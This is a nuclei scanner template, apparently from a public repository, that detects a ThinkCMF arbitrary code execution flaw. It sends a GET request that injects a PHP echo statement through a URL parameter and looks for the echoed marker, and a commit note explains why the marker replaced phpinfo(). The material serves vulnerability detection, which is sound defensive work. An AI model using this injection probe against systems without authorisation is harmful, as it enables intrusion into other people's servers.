Files
nuclei-templates/vulnerabilities/thinkcmf/thinkcmf-arbitrary-code-execution.yaml
0x08 0ea1df844a fix: Update the template to avoid false positives
While testing I got a false positive. The `phpinfo();` was one `index.php` and any parameter appended did not affect the output. So I got a false positive because the template tests for `phpinfo();`. So I propose that the test string is updated to something random and if there is execution the string will show on the output.
2022-08-31 00:03:36 +03:00

26 lines
499 B
YAML

id: thinkcmf-arbitrary-code-execution
info:
name: ThinkCMF Arbitrary code execution
author: pikpikcu
severity: high
reference:
- https://www.shuzhiduo.com/A/l1dygr36Je/
tags: thinkcmf
requests:
- method: GET
path:
- "{{BaseURL}}/index.php?g=g&m=Door&a=index&content=<?php%20echo%20'TestVuln';"
matchers-condition: and
matchers:
- type: word
words:
- "TestVuln"
condition: and
- type: status
status:
- 200